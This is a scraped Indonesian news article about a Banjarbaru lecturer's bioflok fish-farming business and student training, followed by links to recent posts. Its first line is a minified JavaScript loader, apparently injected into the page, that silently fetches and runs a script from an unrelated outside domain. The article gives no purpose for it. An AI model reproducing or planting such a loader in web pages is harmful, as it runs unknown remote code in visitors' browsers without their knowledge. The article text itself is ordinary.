(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Bisnis

Di Tengah Pandemi, Budidaya Ikan Sistem Bioflok Cecep Hasilkan Jutaan


KANALKALIMANTAN.COM, BANJARBARU – Budidaya pembibitan ikan menjadi primadona di masa pandemi. Tahan banting, karena permintaan terus berdatangan, bahkan hingga memenuhi permintaan luar daerah.

Kondisi itu diakui Agus Sarif Hanafi, Warga Balitan 13, Kelurahan Loktabat Utara, dengan memanfaatkan lahan kosongseperempat hektare, ia berhasil membudidaya kolam bioflok.

Awalnya hanya ikan gabus dan ikan papuyu, setelah 3 tahun berjalan jenis yang dibudidayakannya bertambah, seperti ikan sepat brazil, koi, koki, komet, cupang dan gapi-gapi.

Budidaya ikan ini tidak hanya bertujuan untuk wirausaha, melainkan bisa juga untuk penelitian mahasiswa dari skripsi, tesis, sampai disertasi.

Baca juga : Banjarbaru dan Banjarmasin Turun Level PPKM, Benarkah?

Kolam bioflok milik Agus Sarif Hanafi alias Cecep dilakukan di Jalan Mentaos Raya, Kelurahan Mentaos, Kecamatan Banjarbaru Utara, Kota Banjarbaru.

“Kami memakai sistem bioflok, di tempat kami tidak hanya untuk wirausaha, bisa juga penelitian mahasiswa,” ungkap pria yang sehari-hari menjadi dosen di Universitas Lambung Mangkurat ini.

Di tempat pembudidayaan miliknya, ia dibantu oleh para mahasiswa untuk mengembangkan dan mengasah keterampilan di luar jam kuliah.

“Di sini kami juga memupuk mahasiswa untuk bisa berwirausaha, agar setelah lulus kuliah tidak bingung lagi dalam mencari pekerjaan,” ujarnya.

Baca juga : Pertama di Kalsel, RSD Idaman Jadi Rumah Sakit Unggulan Pelayanan KB

Penjualan hasil budidaya bioflok ini bisa menghasilkan omset mencapai Rp 5-15 juta setiap bulannya.

Cecep juga selalu bermitra dengan pemerintah maupun masyarakat untuk sinergisitas dalam memperkembangan budidaya ikan di Kota Banjarbaru. Pihaknya juga sudah membuat MoU antara Fakultas Kelautan dan Perikanan ULM dan Dinas Pertanian.

“Silakan bagi mahasiswa maupun masyarakat umum untuk belajar pembudidayaan ikan, maupun pemasaran,” katanya.

Diakui Cecep, ada beberapa kendala yang sering dihadapi, seperti penyakit dan pengeringan irigasi, menyebabkan air tidak mengalir dan berpengaruh pada pertumbuhan dan produksi ikan.

 

Baca juga : Ikan Haruan Semakin Langka, Pokdakan di Banjarbaru Kembangkan Sistem Jaring Bertingkat

Budidaya ikan sistem bioflok diyakinia bisa memperbaiki ekonomi dan bisa dijadikan penghasilan masyarakat.

“Kalau ingin diberikan bimbingan kami siap membantu dari merintis pemasangan alat, pembibitan hingga panen, sistem bioflok dan pembudidayaan ikan yang benar, silakan saja datang ke sini,” tutupnya. (kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : kk


Desy Arfianty

Recent Posts

Amuntai Expo dan Bazar Ekonomi Kreatif 2024

KANALKALIMANTAN.COM, AMUNTAI - Memeriahkan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU) digelar Amuntai Expo… Read More

6 jam ago

Warga Muhammadiyah Banjarbaru Berhalalbihalal di Masjid At Taqwa

KANALKALIMANTAN.COM, BANJARBARU - Pimpinan Cabang Muhammadiyah Banjarbaru Utara menggelar halalbihalal sekaligus Hari Bermuhammadiyah kali pertama… Read More

9 jam ago

5 Mei Hari Bidan Sedunia

KANALKALIMANTAN.COM – Negara-negara di dunia merayakan Hari Bidan Sedunia yang jatuh pada 5 Mei setiap… Read More

15 jam ago

Syamsudin Noor Jadi Bandara Domestik, Begini Respon Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pencopotan status internasional pada Bandara Syamsudin Noor Banjarmasin yang terletak di Kota… Read More

15 jam ago

Presiden Jokowi di Booth PLN PEVS 2024, Dirut PLN Paparkan Kesiapan Ekosistem Kendaraan Listrik

KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More

18 jam ago

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

22 jam ago

This website uses cookies.